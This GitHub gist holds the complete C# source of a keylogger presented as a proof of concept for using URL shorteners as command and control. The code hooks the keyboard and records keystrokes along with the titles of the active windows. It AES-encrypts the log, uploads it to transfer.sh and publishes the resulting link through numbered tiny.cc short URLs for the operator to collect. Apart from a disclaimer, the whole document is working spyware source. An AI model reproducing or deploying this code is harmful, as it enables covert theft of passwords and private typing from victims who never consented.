Skip to content

Instantly share code, notes, and snippets.

@reb311ion
Last active March 10, 2020 08:31
Show Gist options
  • Save reb311ion/3b9df9b23a73d7a327a2b6e79520fab6 to your computer and use it in GitHub Desktop.
Save reb311ion/3b9df9b23a73d7a327a2b6e79520fab6 to your computer and use it in GitHub Desktop.
A proof on concept (POC) on how URL Shorteners can be abused for command and control (C2).
/*
Disclaimer
I'm not responsible for any actions, and or damages, caused by
this code. You bear the full responsibility of your actions and
acknowledge that this code was created for demonstration purposes
only and its main purpose is NOT to be used maliciously, or on any
system that you do not own, or have the right to use.
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using System.Security.Cryptography;
using System.Net;
using System.Text.RegularExpressions;
namespace C02
{
public static class C02
{
public static void Main()
{
createMutex(mutexName);
_hookID = SetHook(_proc);
Application.Run();
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0);
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
string currentKey = KeyboardLayout((uint)vkCode);
if (capsLock || shiftPress)
{
currentKey = currentKey.ToUpper();
}
else
{
currentKey = currentKey.ToLower();
}
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
currentKey = "[" + (Keys)vkCode + "]";
else
{
switch (((Keys)vkCode).ToString())
{
case "Space":
currentKey = "[SPACE]";
break;
case "Return":
currentKey = "[ENTER]";
break;
case "Escape":
currentKey = "[ESC]";
break;
case "LControlKey":
currentKey = "[CTRL]";
break;
case "RControlKey":
currentKey = "[CTRL]";
break;
case "RShiftKey":
currentKey = "[Shift]";
break;
case "LShiftKey":
currentKey = "[Shift]";
break;
case "Back":
currentKey = "[Back]";
break;
case "LWin":
currentKey = "[WIN]";
break;
case "Tab":
currentKey = "[Tab]";
break;
case "Capital":
if (capsLock == true)
currentKey = "[CAPSLOCK: OFF]";
else
currentKey = "[CAPSLOCK: ON]";
break;
}
}
using (StreamWriter sw = new StreamWriter(loggerPath, true))
{
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
{
sw.Write(currentKey);
}
else
{
sw.WriteLine(Environment.NewLine);
sw.WriteLine($"### {GetActiveWindowTitle()} ###");
sw.Write(currentKey);
}
}
}
fi = new FileInfo(loggerPath);
if (fi.Exists && fi.Length > upAfterNum)
{
while (true)
{
string result = tinyccAPI(SendLogData(EncryptLogData(loggerPath)), shortenLink + ShortenLinkNumber.ToString());
if (result.Contains(shortenLink))
{
ShortenLinkNumber += 1;
break;
}
else if (result.Contains("-1"))
{
ShortenLinkNumber += 1;
}
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private static string KeyboardLayout(uint vkCode)
{
try
{
StringBuilder sb = new StringBuilder();
byte[] vkBuffer = new byte[256];
if (!GetKeyboardState(vkBuffer)) return "";
uint scanCode = MapVirtualKey(vkCode, 0);
IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));
ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
return sb.ToString();
}
catch { }
return ((Keys)vkCode).ToString();
}
private static string GetActiveWindowTitle()
{
try
{
IntPtr hwnd = GetForegroundWindow();
GetWindowThreadProcessId(hwnd, out uint pid);
Process p = Process.GetProcessById((int)pid);
string title = p.MainWindowTitle;
if (string.IsNullOrWhiteSpace(title))
{
title = p.ProcessName;
}
CurrentActiveWindowTitle = title;
return title;
}
catch (Exception)
{
return "???";
}
}
private static string EncryptLogData(string textFile)
{
FileInfo file = new FileInfo(textFile);
string encryptedFile = "";
if (file.Exists)
{
string text = File.ReadAllText(textFile);
text = id + "\n" + versionNum + "\n" + text;
encryptedFile = aes.EncryptToBase64String(text);
file.Delete();
}
return encryptedFile;
}
private static string SendLogData(string text)
{
try
{
string converted = "";
WebRequest requestSend = WebRequest.Create("https://transfer.sh/" + GetRandomString(10) + ".txt");
requestSend.Method = "PUT";
byte[] byteArray = Encoding.UTF8.GetBytes(text);
requestSend.ContentType = "application/x-www-form-urlencoded";
requestSend.ContentLength = byteArray.Length;
Stream dataStreamSend = requestSend.GetRequestStream();
dataStreamSend.Write(byteArray, 0, byteArray.Length);
dataStreamSend.Close();
using (WebResponse response = (HttpWebResponse)requestSend.GetResponse())
{
byte[] bytes = ReadFully(response.GetResponseStream());
converted = Encoding.UTF8.GetString(bytes, 0, bytes.Length);
}
return converted;
}
catch
{
return "None";
}
}
public static string tinyccAPI(String logurl, String customurl)
{
try
{
if (logurl == "None")
{
return logurl;
}
WebRequest request = WebRequest.Create("https://tiny.cc/");
HttpWebResponse TheRespone = (HttpWebResponse)request.GetResponse();
StreamReader sourceCodeStream = new StreamReader(TheRespone.GetResponseStream(), Encoding.UTF8);
string sourceCode = sourceCodeStream.ReadToEnd();
Tuple<string, string> paramId = getPostParamId(sourceCode);
string text = string.Format("url_{0}={2}&custom_{0}={3}&field_{0}=&referrer={1}", paramId.Item1, paramId.Item2, logurl, customurl);
WebRequest requestSend = WebRequest.Create("https://tiny.cc/ajax/create");
requestSend.Method = "POST";
byte[] byteArray = Encoding.UTF8.GetBytes(text);
requestSend.ContentType = "application/x-www-form-urlencoded";
requestSend.ContentLength = byteArray.Length;
Stream dataStreamSend = requestSend.GetRequestStream();
dataStreamSend.Write(byteArray, 0, byteArray.Length);
dataStreamSend.Close();
string converted = "";
using (WebResponse response = (HttpWebResponse)requestSend.GetResponse())
{
byte[] bytes = ReadFully(response.GetResponseStream());
converted = Encoding.UTF8.GetString(bytes, 0, bytes.Length);
Console.WriteLine(converted);
}
return converted;
}
catch
{
return "None";
}
}
public static Tuple<string, string> getPostParamId(string source)
{
Regex urlReg = new Regex(@"url_[A-Za-z0-9]+", RegexOptions.Compiled | RegexOptions.IgnoreCase);
Regex customReg = new Regex(@"custom_[A-Za-z0-9]+", RegexOptions.Compiled | RegexOptions.IgnoreCase);
Regex referrerReg = new Regex("referrer[a-zA-Z\"= ]+ value=\"[a-zA-Z0-9=]+", RegexOptions.Compiled | RegexOptions.IgnoreCase);
MatchCollection urlMatch = urlReg.Matches(source);
MatchCollection customMatch = customReg.Matches(source);
MatchCollection referrerRegMatch = referrerReg.Matches(source);
String urlm = "";
foreach (Match custom in customMatch)
{
foreach (Match url in urlMatch)
{
if (custom.ToString().Split('_')[1] == url.ToString().Split('_')[1])
{
urlm = url.ToString().Split('_')[1];
}
}
}
String[] refr = referrerRegMatch[0].ToString().Split('"');
String referrer = refr[refr.Length - 1];
return Tuple.Create(urlm, referrer);
}
public static byte[] ReadFully(Stream input)
{
byte[] buffer = new byte[16 * 1024];
using (MemoryStream ms = new MemoryStream())
{
int read;
while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
{
ms.Write(buffer, 0, read);
}
return ms.ToArray();
}
}
static string GetRandomString(int lenOfTheNewStr)
{
string output = string.Empty;
while (true)
{
output = output + Path.GetRandomFileName().Replace(".", string.Empty);
if (output.Length > lenOfTheNewStr)
{
output = output.Substring(0, lenOfTheNewStr);
break;
}
}
return output;
}
private static bool createMutex(String mute)
{
bool isMuteCreated = false;
System.Threading.Mutex MUT = null;
try
{
MUT = System.Threading.Mutex.OpenExisting(mute);
Environment.Exit(0);
}
catch
{
MUT = new System.Threading.Mutex(false, mute, out isMuteCreated);
}
return isMuteCreated;
}
// config
private static string KEY = "38RM7FoKvdGmFHvc6QtQfA==";
private static string IV = "sN5DMQO9DMCnJ8P6C1DCTQ==";
private static string shortenLink = "EAmlsjmHHROFMkVSOFS";
private static string mutexName = "mn0w18AFyI";
private static string versionNum = "0.0.1";
private static string id = "Lain-354";
private static int upAfterNum = 200;
//
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static int ShortenLinkNumber = 0;
private static readonly string loggerPath = Path.GetTempPath() + GetRandomString(10) + ".log";
private static FileInfo fi = new FileInfo(loggerPath);
private static readonly Aes aes = new Aes(KEY, IV);
private static string CurrentActiveWindowTitle;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private static int WHKEYBOARDLL = 13;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
public static extern short GetKeyState(int keyCode);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
static extern IntPtr GetKeyboardLayout(uint idThread);
[DllImport("user32.dll")]
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
}
class Aes
{
private static RijndaelManaged rijndael = new RijndaelManaged();
private static System.Text.UnicodeEncoding unicodeEncoding = new UnicodeEncoding();
private const int CHUNK_SIZE = 128;
private void InitializeRijndael()
{
rijndael.Mode = CipherMode.CBC;
rijndael.Padding = PaddingMode.PKCS7;
}
public Aes(String base64key, String base64iv)
{
InitializeRijndael();
rijndael.Key = Convert.FromBase64String(base64key);
rijndael.IV = Convert.FromBase64String(base64iv);
}
public byte[] EncryptToByte(string plain)
{
ICryptoTransform encryptor = rijndael.CreateEncryptor();
byte[] cipher = unicodeEncoding.GetBytes(plain);
byte[] encryptedValue = encryptor.TransformFinalBlock(cipher, 0, cipher.Length);
return encryptedValue;
}
public string EncryptToBase64String(string plain)
{
return Convert.ToBase64String(EncryptToByte(plain));
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment